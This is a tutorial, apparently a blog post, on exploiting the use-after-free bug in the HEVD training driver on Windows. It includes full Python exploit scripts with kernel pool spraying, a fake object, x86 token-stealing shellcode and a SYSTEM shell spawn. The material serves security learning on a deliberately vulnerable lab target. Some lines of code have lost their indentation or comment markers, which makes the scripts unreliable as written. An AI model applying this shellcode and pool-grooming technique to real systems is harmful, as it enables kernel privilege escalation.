HEVD Windows Kernel Exploitation 6: Use-After-Free

As this is the 5th vulnerability on HEVD (Use-After-Free), I’ll give a summary of what we’ve learned so far:

  • With Stack Overfow:  put your shellcode in userland in an allocated memory and execute in kernelland
  • With Arbitraty Overwrite: writing the value pointed by what to the memory location referenced by where
  • With Null Pointer Dereference: writing to a pointer location where the value of the pointer is NULL and used by an application that points to a valid memory location
  • With Unitialized Stack Variable, we will control the data on the kernel stack from user modeusing an uninitialized stack variable
  • With Use-After-Free,  we’ll exploit a stale pointer that’s not freed which is called through a Callback function to execute our shellcode after we can put into the memory there.

Strategy:

The strategy for this blogpost will be as follows:

Initial Phase:

  • Source Code Review
  • Finding IOCTLs
  • Verifying the vulnerability with the scripts

Source Code Review

As always we’ll check the C code first to understand where the vulnerability lies: 

The structure of the code is the same, defines some variables and datatypes, shows the vulnerable vs secure code and triggers the vulnerability, then defines IOCTL code. 

  1. AllocateUaFObject
  2. UseUaFObject
  3. FreeUaFObject
  4. AllocateFakeObject

Function1: AllocateUaFObject

This funcion:

allocates a Non-Paged pool chunk: 

  • UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(NonPagedPool,  sizeof(USE_AFTER_FREE), (ULONG)POOL_TAG);
  • uses the Windows API call: ExAllocatePoolWithTag

fills it withA character: 

  • RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);
  • uses the Windows API call:  RtlFillMemory 

terminates with a NULL character:

  • UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) – 1] = ‘\0’;

Function 2: UseUaFObject

In this function:

  • if the pointer g_UseAfterFreeObject exists, it calls the callback
  • This shows the danger of using the dangling pointer which we will use in our exploit

Function 3: FreeUaFObject

With this funcion, we see the vulnerable and secure implementations:

  • in the secure version,  g_UseAfterFreeObject is being set to NULL
  • in the vulnerable version, ExFreePoolWithTag is used, which will leave a reference to a stale dangling pointer. 

Function 4: AllocateFakeObject

this is the function we will use to place our shellcode into the non-paged pool

Finding IOCTL

We’ll find 4 different IOCTL for each function found as below:

  • ALLOCATE_UAF_OBJECT: 0x222013
  • USE_UAF_OBJECT: 0x222017
  • FREE_UAF_OBJECT : 0x22201B
  • ALLOCATE_FAKE_OBJECT.: 0x22201F

Extra Technique: check the Common.h file

## #define HACKSYS_EVD_IOCTL_xxxx CTL_CODE(FILE_DEVICE_UNKNOWN, 0xxxx, METHOD_NEITHER, FILE_ANY_ACCESS)

hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003)

Exploit: Initial Script

import struct, sys, ctypes
from ctypes import *
from ctypes.wintypes import *
from subprocess import *
 
## DLL
kernel32 = windll.kernel32    
 
handle = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
 
if not handle or handle == -1:
    print "[+] Cannot get device handle..... Try again."
    sys.exit(0)
 
buffer = "\x41" * 0x60
 
kernel32.DeviceIoControl(handle, 0x222013, None, None, None, 0, byref(c_ulong()), None)
kernel32.DeviceIoControl(handle, 0x22201B, None, None, None, 0, byref(c_ulong()), None)
kernel32.DeviceIoControl(handle, 0x22201F, buffer, len(buffer), None, 0, byref(c_ulong()), None)
kernel32.DeviceIoControl(handle, 0x222017, None, None, None, 0, byref(c_ulong()), None)

listen with windbg and send 4 different IOCTL code with this script to validate after putting breakpoint on the IOCTL handlers.

Exploit: Spraying Objects

spray_event1 = spray_event2 = []

for i in xrange(10000):   spray_event1.append(ntdll.NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))
 
for i in xrange(5000):
spray_event2.append(ntdll.NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))

Exploit: Create Holes 

for i in xrange(0, len(spray_event2), 2):
        kernel32.CloseHandle(spray_event2[i])

Exploit: Call the IOCTL code in the correct order:

Call the IOCTL code in the correct order
ALLOCATE_UAF_OBJECT -> FREE_UAF_OBJECT -> ALLOCATE_FAKE_OBJECT -> USE_UAF_OBJECT
kernel32.DeviceIoControl(handle, 0x222013, None, None, None, 0, byref(c_ulong()), None)
kernel32.DeviceIoControl(handle, 0x22201B, None, None, None, 0, byref(c_ulong()), None)
fake_obj = ptr_adr + "\x41"*(0x60 - (len(ptr_adr)))
for i in xrange(5000):
kernel32.DeviceIoControl(handle, 0x22201F, fake_obj, len(fake_obj), None, 0, byref(c_ulong()), None)
kernel32.DeviceIoControl(handle, 0x222017, None, None, None, 0, byref(c_ulong()), None)

Final Exploit

We’ll add the shellcode, Defeate DEP, add print statements to debug issues and pop the system shell:

import struct, sys, ctypes
from ctypes import *
from ctypes.wintypes import *
from subprocess import *
DLL
kernel32 = windll.kernel32
psapi = windll.Psapi
ntdll = windll.ntdll
spraying
spray_event1 = spray_event2 = []
handle
handle = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
if not handle or handle == -1:
print "[+] Cannot get device handle….. Try again."
sys.exit(0)
shellcode
shellcode = bytearray(
"\x90\x90\x90\x90" # NOP Sled
"\x60" # pushad
"\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET]
"\x8B\x40\x50" # mov eax, [eax + EPROCESS_OFFSET]
"\x89\xC1" # mov ecx, eax (Current _EPROCESS structure)
"\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET]
"\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID)
"\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET]
"\x2D\xB8\x00\x00\x00" # sub eax, FLINK_OFFSET
"\x39\x90\xB4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx
"\x75\xED" # jnz
"\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET]
"\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx
"\x61" # popad
"\xC3" # ret
)
Defeating DEP with VirtualAlloc
Creating RWX memory, and copying our shellcode in that region.
ptr = kernel32.VirtualAlloc(c_int(0), c_int(len(shellcode)), c_int(0x3000), c_int(0x40))
buff = (c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(c_int(ptr), buff, c_int(len(shellcode)))
ptr_adr = hex(struct.unpack('L', ptr))[0])[2:].zfill(8).decode('hex')
spray the objects
for i in xrange(10000):
spray_event1.append(ntdll.NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))
for i in xrange(5000):
spray_event2.append(ntdll.NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))
create holes
for i in xrange(0, len(spray_event2), 2):
kernel32.CloseHandle(spray_event2[i])
Call the IOCTL code in the correct order
ALLOCATE_UAF_OBJECT -> FREE_UAF_OBJECT -> ALLOCATE_FAKE_OBJECT -> USE_UAF_OBJECT
kernel32.DeviceIoControl(handle, 0x222013, None, None, None, 0, byref(c_ulong()), None)
kernel32.DeviceIoControl(handle, 0x22201B, None, None, None, 0, byref(c_ulong()), None)
fake_obj = ptr_adr + "\x41"*(0x60 - (len(ptr_adr)))
for i in xrange(5000):
kernel32.DeviceIoControl(handle, 0x22201F, fake_obj, len(fake_obj), None, 0, byref(c_ulong()), None)
kernel32.DeviceIoControl(handle, 0x222017, None, None, None, 0, byref(c_ulong()), None)
call the shell
print "\n[+] system shell incoming"
Popen("start cmd", shell=True)